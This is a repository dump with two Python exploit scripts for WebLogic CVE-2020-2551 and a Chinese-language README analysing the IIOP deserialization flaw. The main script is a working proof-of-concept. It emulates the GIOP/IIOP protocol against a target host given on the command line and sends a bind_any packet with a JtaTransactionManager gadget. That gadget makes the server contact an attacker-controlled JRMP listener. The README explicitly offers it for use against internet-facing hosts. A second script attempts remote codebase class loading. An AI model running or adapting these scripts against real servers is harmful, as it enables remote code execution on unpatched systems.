├── CVE-2020-2551.py ├── CVE-2020-TEST.py └── README.md /CVE-2020-2551.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # # @Time : 2020/5/20 17:42 3 | # # @Author : huha 4 | import socket 5 | import sys 6 | import struct 7 | import time 8 | import re 9 | 10 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | 12 | server_address = (sys.argv[1], int(sys.argv[2])) 13 | print('connecting to {0} port {1}'.format(server_address[0],server_address[1])) 14 | sock.connect(server_address) 15 | 16 | locaterequest=b'\x47\x49\x4f\x50\x01\x02\x00\x03\x00\x00\x00\x17\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x0b\x4e\x61\x6d\x65\x53\x65\x72\x76\x69\x63\x65' 17 | print('sending locaterequest: \n{}'.format(locaterequest)) 18 | sock.sendall(locaterequest) 19 | data = sock.recv(1024) 20 | 21 | # key_address通过正则匹配获取 22 | comp = re.compile(b'(.*?)([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})(.*?)(BEA)',re.S) 23 | a = comp.match(data) 24 | key_index = data.find(a.group(4))-1 25 | key_address = data[key_index:key_index+120] 26 | print('get key_address: \n{}'.format(key_address)) 27 | 28 | # 直接复制bind_any的数据包,jrmp地址需要手动更改 29 | jrmp = b'rmi://172.21.0.1:1099/object' 30 | # print(len(jrmp)) 31 | bind_any = b'\x47\x49\x4f\x50\x01\x02\x00\x00\x00\x00\x03\x47\x00\x00\x00\x03\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78'+\ 32 | key_address+\ 33 | b'\x00\x00\x00\x09\x62\x69\x6e\x64\x5f\x61\x6e\x79\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x05\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0f\x31\x36\x39\x2e\x32\x35\x34\x2e\x31\x33\x32\x2e\x37\x32\x00\x00\x74\xf2\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x01\x00\x20\x05\x01\x00\x01\x00\x00\x00\x06\x00\x00\x00\xf8\x00\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xbc\x00\x01\x02\x00\x00\x00\x00\x0f\x31\x36\x39\x2e\x32\x35\x34\x2e\x31\x33\x32\x2e\x37\x32\x00\x00\x74\xf2\x00\x00\x00\x00\x00\x64\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x03\x31\x32\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\xc3\x25\x80\xc0\x6f\x84\x56\xab\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x03\x00\x01\x00\x20\x00\x01\x00\x01\x05\x01\x00\x01\x00\x01\x01\x00\x00\x00\x00\x03\x00\x01\x01\x00\x00\x01\x01\x09\x05\x01\x00\x01\x00\x00\x00\x0f\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x42\x45\x41\x03\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x25\xf4\xe3\xc0\x00\x00\x00\x00\x42\x45\x41\x00\x00\x00\x00\x04\x00\x0a\x03\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x6e\x61\x6d\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'+\ 34 | b'\x7f\xff\xff\x02'+ \ 35 | b'\x00\x00\x00\x74\x52\x4d\x49\x3a\x63\x6f\x6d\x2e\x62\x65\x61\x2e\x63\x6f\x72\x65\x2e\x72\x65\x70\x61\x63\x6b\x61\x67\x65\x64\x2e\x73\x70\x72\x69\x6e\x67\x66\x72\x61\x6d\x65\x77\x6f\x72\x6b\x2e\x74\x72\x61\x6e\x73\x61\x63\x74\x69\x6f\x6e\x2e\x6a\x74\x61\x2e\x4a\x74\x61\x54\x72\x61\x6e\x73\x61\x63\x74\x69\x6f\x6e\x4d\x61\x6e\x61\x67\x65\x72\x3a\x30\x44\x33\x30\x34\x38\x45\x30\x37\x42\x31\x44\x33\x42\x37\x42\x3a\x34\x45\x46\x33\x45\x43\x46\x42\x42\x36\x32\x38\x39\x38\x32\x46\x00\xff\xff\xff\xff\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00'+\ 36 | struct.pack('!i',len(jrmp)-1) +\ 37 | jrmp 38 | 39 | time.sleep(1) 40 | print('sendind bind_any: \n{}'.format(bind_any)) 41 | sock.sendall(bind_any) 42 | data = sock.recv(1024) 43 | print('received {}'.format(data)) -------------------------------------------------------------------------------- /CVE-2020-TEST.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Time : 2020/5/23 17:38 3 | # @Author : huha 4 | import socket 5 | import sys 6 | import struct 7 | import time 8 | import re 9 | 10 | 11 | # 字节不满4的倍数,补0 12 | def addzero(body): 13 | n = 4 - ((len(body)) % 4) if 4 - ((len(body)) % 4) != 4 else 0 14 | print(n) 15 | for x in range(n): 16 | body += b'\x00' 17 | return body 18 | 19 | 20 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 21 | 22 | server_address = (sys.argv[1], int(sys.argv[2])) 23 | print('connecting to {0} port {0}'.format(server_address)) 24 | sock.connect(server_address) 25 | 26 | locaterequest=b'\x47\x49\x4f\x50\x01\x02\x00\x03\x00\x00\x00\x17\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x0b\x4e\x61\x6d\x65\x53\x65\x72\x76\x69\x63\x65' 27 | print('sending locaterequest: \n{}'.format(locaterequest)) 28 | sock.sendall(locaterequest) 29 | data = sock.recv(1024) 30 | 31 | # key_address通过正则匹配获取 32 | comp = re.compile(b'(.*?)([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})(.*?)(BEA)',re.S) 33 | a = comp.match(data) 34 | key_index = data.find(a.group(4))-1 35 | key_address = data[key_index:key_index+120] 36 | print('get key_address: \n{}'.format(key_address)) 37 | 38 | # 填充key_address即可 39 | bind_any_part = b'\x47\x49\x4f\x50\x01\x02\x00\x00\x00\x00\x03\x47\x00\x00\x00\x03\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78'+\ 40 | key_address+\ 41 | b'\x00\x00\x00\x09\x62\x69\x6e\x64\x5f\x61\x6e\x79\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x05\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0f\x31\x36\x39\x2e\x32\x35\x34\x2e\x31\x33\x32\x2e\x37\x32\x00\x00\x74\xf2\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x01\x00\x20\x05\x01\x00\x01\x00\x00\x00\x06\x00\x00\x00\xf8\x00\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xbc\x00\x01\x02\x00\x00\x00\x00\x0f\x31\x36\x39\x2e\x32\x35\x34\x2e\x31\x33\x32\x2e\x37\x32\x00\x00\x74\xf2\x00\x00\x00\x00\x00\x64\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x03\x31\x32\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\xc3\x25\x80\xc0\x6f\x84\x56\xab\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x03\x00\x01\x00\x20\x00\x01\x00\x01\x05\x01\x00\x01\x00\x01\x01\x00\x00\x00\x00\x03\x00\x01\x01\x00\x00\x01\x01\x09\x05\x01\x00\x01\x00\x00\x00\x0f\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x42\x45\x41\x03\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x25\xf4\xe3\xc0\x00\x00\x00\x00\x42\x45\x41\x00\x00\x00\x00\x04\x00\x0a\x03\x06\x00\x00\x00\x00' 42 | 43 | # 原始stub_data 44 | # stub_data = b'\x7f\xff\xff\x02'+ \ 45 | # b'\x00\x00\x00\x74\x52\x4d\x49\x3a\x63\x6f\x6d\x2e\x62\x65\x61\x2e\x63\x6f\x72\x65\x2e\x72\x65\x70\x61\x63\x6b\x61\x67\x65\x64\x2e\x73\x70\x72\x69\x6e\x67\x66\x72\x61\x6d\x65\x77\x6f\x72\x6b\x2e\x74\x72\x61\x6e\x73\x61\x63\x74\x69\x6f\x6e\x2e\x6a\x74\x61\x2e\x4a\x74\x61\x54\x72\x61\x6e\x73\x61\x63\x74\x69\x6f\x6e\x4d\x61\x6e\x61\x67\x65\x72\x3a\x30\x44\x33\x30\x34\x38\x45\x30\x37\x42\x31\x44\x33\x42\x37\x42\x3a\x34\x45\x46\x33\x45\x43\x46\x42\x42\x36\x32\x38\x39\x38\x32\x46\x00\xff\xff\xff\xff\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x1b'+\ 46 | # b'rmi://127.0.0.1:1099/object' 47 | 48 | # 设置codebase 49 | codebase = "http://localhost:8000/test.jar" 50 | # \x7f\xff\xff\x02 --> \x00\x00\x00\x03' 51 | stub_data_part1 = b'\x00\x00\x00\x01\x00\x00\x00\x04\x6e\x61\x6d\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'+ \ 52 | b'\x00\x00\x00\x03' + \ 53 | struct.pack('!i',len(codebase)+1) + \ 54 | codebase.encode() + b'\x00' 55 | 56 | # 补0 57 | stub_data_part1 = addzero(stub_data_part1) 58 | 59 | # 修改类名,保证长度不变即可,手动设置jrmp 60 | # com.bea.xxx --> dom.bea.xxx 61 | jrmp = b'rmi://127.0.0.1:8888/object' 62 | stub_data_part2 = b'\x00\x00\x00\x74\x52\x4d\x49\x3a'+\ 63 | b'fom.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager'+\ 64 | b'\x3a\x30\x44\x33\x30\x34\x38\x45\x30\x37\x42\x31\x44\x33\x42\x37\x42\x3a\x34\x45\x46\x33\x45\x43\x46\x42\x42\x36\x32\x38\x39\x38\x32\x46\x00\xff\xff\xff\xff\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00'+\ 65 | struct.pack('!i',len(jrmp)-1)+\ 66 | jrmp 67 | 68 | # 拼接bind_any 69 | stub_data = stub_data_part1 + stub_data_part2 70 | bind_any = bind_any_part + stub_data 71 | 72 | time.sleep(1) 73 | print('sendind bind_any with codebase: \n{}'.format(bind_any)) 74 | sock.sendall(bind_any) 75 | data = sock.recv(1024) 76 | print('received {}'.format(data)) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Weblogic-CVE-2020-2551-To-Internet 2 | ### CVE-2020-2551 POC to use on the Internet 3 | 4 | * 测试POC(可用于外网测试) 5 | 6 | python CVE-2020-2551.py [HOST] [IP] 7 | 8 | * 尝试修改codebase进行远程类加载(失败) 9 | 10 | python CVE-2020-TEST.py [HOST] [IP] 11 | 12 | 13 | # 浅谈 weblogic CVE-2020-2551 漏洞 & 外网POC构造 14 | 15 | (首发于安全客,[原文链接](https://www.anquanke.com/post/id/206494)) 16 | 17 | 18 | ### 0x00 基础概念 19 | 20 | 学习这个漏洞需要一些前置知识,比如CORBA与RMI 21 | 22 | 简单的概述一下: 23 | 24 | CORBA是OMG制定的一套技术标准,用于分布式应用,其中用到了IDL进行跨语言支持,客户端与服务端之间用IIOP协议进行通信 25 | 26 | RMI是另一种分布式应用技术,在JAVA中可以用JNDI进行简化应用,客户端与服务端使用JRMP协议进行通信,不过在weblogic中RMI使用的是T3协议,关于这个之前也爆出过不少[漏洞](https://blog.knownsec.com/2018/04/weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9Ecve-2018-2628%E6%BC%AB%E8%B0%88/) 27 | 28 | [RMI-IIOP](https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738)结合了RMI与CORBA各自的优点,通过IIOP协议部署RMI应用 29 | 30 | [官方文档](https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html)也提到: 31 | 32 | RMI server objects can use the IIOP protocol and communicate with CORBA client objects written in any language 33 | 34 | 35 | 36 | ### 0x01 RMI-IIOP 37 | 38 | 暂时不提weblogic,先关注一下如何编写一个RMI-IIOP实例: 39 | 40 | 客户端代码可以参考[Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)](https://paper.seebug.org/1091/#weblogic-rmi)中的[测试项目](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/tree/master/rmi-iiop),可以自己编译HelloClient和HelloServer,也可以用测试项目中编译好的 41 | 42 | 在命令行启动名称服务器(java自带): 43 | 44 | ``` 45 | start orbd -ORBInitialPort 1050 46 | ``` 47 | 48 | 命令行开启服务端HelloServer并配置远程调试,关于如何用IDEA进行远程调试,可以参考[这里](https://www.anquanke.com/post/id/201762)开头提到的方法 49 | 50 | ``` 51 | java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 HelloServer 52 | ``` 53 | 54 | 当然不远程调试直接看结果也行,直接启动 55 | 56 | ``` 57 | java HelloServer 58 | ``` 59 | 60 | 命令行开启客户端 61 | 62 | ``` 63 | Java HelloClient 64 | ``` 65 | 66 | 此时会弹出计算器,成功远程调试的话,可以看到如下调用栈 67 | 68 | ![](https://p1.ssl.qhimg.com/t01229669c9075dbb0a.png) 69 | 70 | EvilMessage.readObejct()中执行命令 71 | 72 | ![](https://p4.ssl.qhimg.com/t01bf4871fd59f1812f.png) 73 | 74 | 题外话:weblogic的[安装](https://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/)与[调试](https://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/)文章 75 | 76 | 77 | 78 | 那么weblogic中的RMI-IIOP呢?[关于 Java 中的 RMI-IIOP](https://paper.seebug.org/1105/)这篇文章中有提到关于weblogic RMI-IIOP的利用,在它的基础上进行了一些研究,[Using WebLogic’s RMI over IIOP](https://www.oreilly.com/library/view/weblogic-the-definitive/059600432X/ch04s04.html)讲到几种weblogic使用RMI-IIOP客户端的几种方式,包括: 79 | 80 | 1.独立RMI客户端(配合jndi,不使用weblogic的任何东西) 81 | 2.WebLogic客户端 82 | 3.J2EE clients 83 | 4.CORBA/IDL clients 84 | 85 | 前两种方式的区别,看来只是JNDI\_FACTORY设置上的区别 86 | 87 | ![](https://p4.ssl.qhimg.com/t01bbb532965ba915b4.png) 88 | 89 | 之前研究weblogic T3反序列化的时候,在weblogic上部署过Helloserver应用,有sayhello()方法可以利用,尝试设置两种JNDI_FACTORY调用一下,使用第二种JNDI\_FACTORY成功调用sayHello()方法 90 | 91 | ![](https://p5.ssl.qhimg.com/t01d32c56e876358e09.png) 92 | 那么修改一下weblogic T3协议的[POC](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/blob/master/weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Payload1.java),其实只是把RMI修改为了IIOP,发现jtaTransactionManager利用链执行成功,向本地jrmplisten发出了jrmp请求 93 | 94 | ![](https://p3.ssl.qhimg.com/t018f007a1ba77e682f.png) 95 | 96 | 看一下流量,在remove()方法调用时,发送remove\__java\_lang\_Object请求,流量中有恶意数据,但没有找到aced魔术头 97 | 98 | ![](https://p5.ssl.qhimg.com/t01b67a89d59b6b6637.png) 99 | 100 | 猜测在服务端进行了特殊的解析后,再反序列化数据,看一下调用栈,可以看到后半部分的执行链跟前面原生RMI-IIOP的执行链很像,前面是从CDRInputStream.read_value()触发,这里是从weblogic中IIOPInputStream.read_value()触发,(read_value这个点,在[19年的议题](https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf)上也提到了) 101 | 102 | ![](https://p5.ssl.qhimg.com/t0112ed8892670dee64.png) 103 | 104 | 这里请求会首先给clusterableServerRef.invoke()处理,根据不同的invoker调用this.invoker.invoke(),然后这里调用了Mejb_dj5nps_HomeImpl_WLSkel.invoke(),因为是“remove”,所以进入case 6分支调用IIOPInputStream.readObject(),在read_value()方法中解析IIOPInputStream数据并触发反序列化,这个就是利用remove()方法的POC 105 | 106 | ### 0x02 CVE-2020-2551 107 | 108 | Lucifaer师傅的分析[文章](https://lucifaer.com/2020/02/25/WebLogic WLS核心组件RCE分析(CVE-2020-2551)/?from=timeline&isappinstalled=0#2-2-Weblogic解析流程)提到了用bind()方法进行利用,这个也是互联网上主流的利用方式,跟一下调用栈 109 | 110 | ![](https://p4.ssl.qhimg.com/t010c0953eedd2ce880.png) 111 | 112 | 跟前面一样,这里请求会首先给clusterableServerRef.invoke()处理,根据不同的invoker调用this.invoker.invoke(),这里调用了CobraServerRef.invoke(),然后在 \_NamingContextAnyImplBase.\_invoke()中,因为va1是“bind_any”,所以进入case 0分支,调用IIOPInputStream.read_any()方法,后面还是会调用IIOPInputStream.read_value()触发反序列,之前说在流量中没有看到aced魔术头,是因为在IIOPInputStream中有一套解析方式,IIOPInputStream的hex-value形式如下,其中包含类名和字段信息: 113 | 114 | ![](https://p3.ssl.qhimg.com/t01aff53927b8153309.png) 115 | 116 | 最终会调用恶意类的readObejct()方法 117 | 118 | ![](https://p3.ssl.qhimg.com/t014ca19d4d751f0f0b.png) 119 | 120 | 121 | 看了一下补丁,发现跟2015年T3反序列化利用的[补丁](https://www.tenable.com/security/research/tra-2016-09)的是同个位置 122 | 123 | ![](https://p3.ssl.qhimg.com/t0181a34517cc5af375.png) 124 | 125 | [WebLogic CVE-2020-2551漏洞分析](https://paper.seebug.org/1138/)的测试中,看到CVE-2020-2551过滤的类位置也是在weblogic.iiop.Utils类中 126 | 127 | ![](https://p5.ssl.qhimg.com/t013774e3aeaf2d19a0.png) 128 | 129 | 但是在本地测试的时候,weblogic10.3.6打上2015年的补丁,并没有触发isBlacklisted()函数(但是在MsgAbbrevInputStream与InboundMsgAbbrev中都有调用isBlacklisted()进行黑名单验证,奇奇怪怪。。。) 130 | 131 | ![](https://p1.ssl.qhimg.com/t0159484bec95bae799.png) 132 | 133 | 这次CVE-2020-2551的补丁,在weblogic.iiop.Utils.LoadClass()中添加了过滤的verifyclassermitted()方法 134 | 135 | ![](https://p5.ssl.qhimg.com/t014b82504356994d71.png) 136 | 137 | 黑名单过滤了恶意类,其中包括JtaTransactionManager的父类com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager,这个类是weblogic自带的,十分危险,在看补丁的时候就有一个想法,因为606行的验证是在LoadClass()之后,那如果在加载className的时候进行了类的加载执行恶意静态代码块不就绕过防御了吗?这个后面再说 138 | 139 | ### 0x03 模拟IIOP协议构造POC 140 | 141 | 用JAVA程序写的POC有网络问题,就直接打本地weblogic服务可以,打docker容器或者外网机器不行,提到这个问题的分析文章: 142 | 143 | [手把手教你解决Weblogic CVE-2020-2551 POC网络问题](https://xz.aliyun.com/t/7498) 144 | 145 | [漫谈 WebLogic-CVE-2020-2551](https://paper.seebug.org/1149/) 146 | 147 | 下面对POC进行调试,可以参考前面remove那个,也可以参考[Y4er](https://github.com/Y4er/CVE-2020-2551)的,前面两篇文章提到两种解决方法: 148 | 149 | * 修改weblogic.jar包并重新打包 150 | * 模拟IIOP协议 151 | 152 | 我都进行了尝试,重新打包weblogic后,会报java.lang.NoSuchMethodError:weblogic.security.subject.SubjectManager.installCESubjectManager错误,但是没有找到解决方案 153 | 154 | ![](https://p0.ssl.qhimg.com/t01842f4e0d86f44b55.png) 155 | 156 | 所以就尝试模拟IIOP协议,先在POC下断点调试 157 | 158 | ![](https://p5.ssl.qhimg.com/t01d9503f5d84a55e54.png) 159 | 160 | 发现在new InitialContext(env)时,调用EndPointImpl.sendReceive()中发送和接收了两个包 161 | 162 | ![](https://p4.ssl.qhimg.com/t018879ca6b321f39fb.png) 163 | 164 | LocateReply中包含IOR信息,这里要理解[什么是IOR](http://www.pvv.ntnu.no/~ljosa/doc/encycmuclopedia/devenv/corba-index.html),它的作用是,在RMI-IIOP客户端利用IIOP协议与服务端对象进行交互时,用来提供IIOP通信需要的host和port,还有红框部分Object_key用来区分服务端不同的对象 165 | 166 | ![](https://p3.ssl.qhimg.com/t01fa94e9770504478f.png) 167 | 168 | 在模拟IIOP协议时,需要重点关注的是Object_key,host跟ip其实并不影响,之前开始测试的时候,是直接把所有的包重新重放一遍,发送resolve_any的时候返回location forward 169 | 170 | ![](https://p5.ssl.qhimg.com/t01cf7a0af53d9d4116.png) 171 | 172 | GIOP的[官方文档](https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf)中讲到location forward时,表示Object_key是会变化的,不同次请求返回的Object_key可能不同(这里说的Object_key就是数据包中的key address),这个Object_key,前面也有说到,是在用IIOP协议时,用来区别跟哪个对象进行通信,这个值需要在LocateReply中动态获取 173 | 174 | ![](https://p4.ssl.qhimg.com/t01f4568e843c72df80.png) 175 | 176 | 最后这里没有选择模拟remove(),而是模拟bind()方法发出的IIOP请求,因为请求比较少,看下本地正常利用的数据包 177 | 178 | ![](https://p2.ssl.qhimg.com/t01b26261d0b5e8a492.png) 179 | 180 | 发送LocateRequest,接收data,通过正则匹配获取LocateReply中的key address 181 | 182 | ![](https://p2.ssl.qhimg.com/t01058ed9f3c252983f.png) 183 | 184 | 手动设置恶意jrmp服务器(rmi://...)地址,间隔1秒发送bind_any包,因为这里的利用链发出的jrmp请求不是用DGCClient,所以不受[JEP290](https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)的影响,可以通过jrmplisten进行利用 185 | 186 | ![](https://p5.ssl.qhimg.com/t014fef0f53246e55cf.png) 187 | 188 | POC在docker环境中测试成功,可以用[vulhub](https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf)这个SSRF环境,设置IP为宿主机,docker成功获取宿主机jrmp请求,具体代码放在[Github](https://github.com/Dido1960/Weblogic-CVE-2020-2551-To-Internet/blob/master/CVE-2020-2551.py) 189 | 190 | ![](https://p4.ssl.qhimg.com/t012799157906eb1652.png) 191 | 192 | ### 0x04 验证猜想 193 | 194 | 前面有提到利用codebase加载远程代码绕过检测的想法,研究过[JNDI攻击](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)的同学应该清楚,codebase可以用来指定远程类的位置,如果codebase可控并且程序允许远程加载类,那么就可以加载远程恶意类执行静态代码块中的恶意代码。 195 | 196 | 阅读代码可知,weblogic.iiop.Utils.lodaClass()第二个参数表示codebase,这个参数在IIOPInputStream.read_value()中读取,即为var8参数,1659行调用readIndirectingRepositoryId(var8),最终会调用weblogic.iiop.Utils.lodaClass(),要执行1644行和1659行代码,需要(va4r & 1)=1,(va4 & 6)=2,所以var4的值为3 197 | 198 | ![](https://p5.ssl.qhimg.com/t01160d6c37735efe9f.png) 199 | 200 | readIndirectingRepositoryId到getClassFromId的调用栈,最后会执行304行loadclass() 201 | 202 | 203 | ![](https://p5.ssl.qhimg.com/t019cd344213124a196.png) 204 | 205 | 看一下bind_any数据包,其实就是通过GIOP Header与GIOP Request组合而成的,GIOP Request中又包括key address(与LocateteReply中一致)、ServiceContextList与stub_data,var4的值就是stub_data中的\x7f\xff\xff\x02,所以(va4r & 1)=0,(va4 & 6)=2,不会执行1644行代码设置codebase 206 | 207 | ![](https://p5.ssl.qhimg.com/t014ab4c0dba18c4fe0.png) 208 | 209 | 我们通过修改下面第一个框\x7f\xff\xff\x02为\x00\x00\x00\x03,第二个框添加codebase长度与值信息,具体的代码放在[Github](https://github.com/Dido1960/Weblogic-CVE-2020-2551-To-Internet/blob/master/CVE-2020-TEST.py),可以看到还进行了一个对齐操作,这是一个坑点,因为在读取后面类信息前,会判断下一个字节的位置是不是4的倍数,如果不是会忽略掉一些位数,比如下一个字节的位置是1,则会忽略掉3个字节,直接从位置为4的这个字节读起,这个位置是相对整个bind_any包来说的,这里如果字节不是4的倍数,进行补0操作 210 | 211 | ![](https://p2.ssl.qhimg.com/t017effa14933cb15f1.png) 212 | 213 | 还有一个问题,看一下之前readIndirectingRepositoryId到getClassFromId的调用栈,中间会经过findClassInfo()函数,在这里,如果已经加载过某个类,类ID信息会保存起来,findClassInfo()时直接返回类信息,不会进入weblogic.iiop.Utils.getClassFromID()函数 214 | 215 | ![](https://p2.ssl.qhimg.com/t011d7d0b9164fd3d9d.png) 216 | 217 | 所以在进行测试时,每次都要改一下类名 218 | 219 | ![](https://p4.ssl.qhimg.com/t0163c76b9f9d201aeb.png) 220 | 221 | 不管怎样,最后总算是成功模拟IIOP协议修改了codebase值,并执行weblogic.iiop.Utils.getClassFromId()函数。 222 | 223 | 不幸的是,在获取RMIURLClassFinder的时候返回NULL,RMIEnvironment.getEnvironment().isNetworkClassLoadingEnabled()函数返回false 224 | 225 | ![](https://p5.ssl.qhimg.com/t0164e10b369c405a5b.png) 226 | 227 | 原因是ServerMBeanImpl中\_NetworkClassLoadingEnable参数的值为False 228 | 229 | ![](https://p0.ssl.qhimg.com/t016ddf4a9c673e8717.png) 230 | 231 | 想要看看在哪个weblogic配置文件中设置了这个参数,但是没有找到。。。 232 | 233 | ### 总结 234 | 235 | 其实在学习这个漏洞的过程中,发现需要有很多的前置知识,比如java反序列化,RMI,JNDI那些东西,相关的学习可以参考这个[文章专栏](https://www.anquanke.com/subject/id/206001),虽然最后修改codebase进行利用失败,但还是收获不少。 236 | --------------------------------------------------------------------------------